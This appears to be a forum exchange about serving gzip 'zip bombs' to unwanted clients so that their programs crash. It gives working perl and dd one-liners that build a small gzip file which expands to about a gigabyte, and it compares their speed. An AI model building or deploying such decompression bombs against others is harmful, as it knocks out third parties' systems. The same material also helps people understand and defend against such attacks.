Do their requests indicate support for gzip for other compression protocols? One thing I've heard people do is send a response with a zip bomb that expands to essentially infinite size, causing their program to crash.
ie) perl -e "print '0' for (1..1000000000)" | gzip > zipbomb.gz
This will create a ~ 1MB file that will expand into something 1000 times its size.
dd if=/dev/zero of=/dev/stdout bs=1M count=1024 | gzip > zipbomb.gz
However, you're restricted to NUL bytes there. However, you can vastly improve your original Perl script by writing more chars at a time: perl -e "my \$x = ('0' x 1000000); print \$x for (1..1000)" | gzip > zipbomb.gz
That runs about as fast as the dd variant on my system, and about 10 times faster than your original formulation.?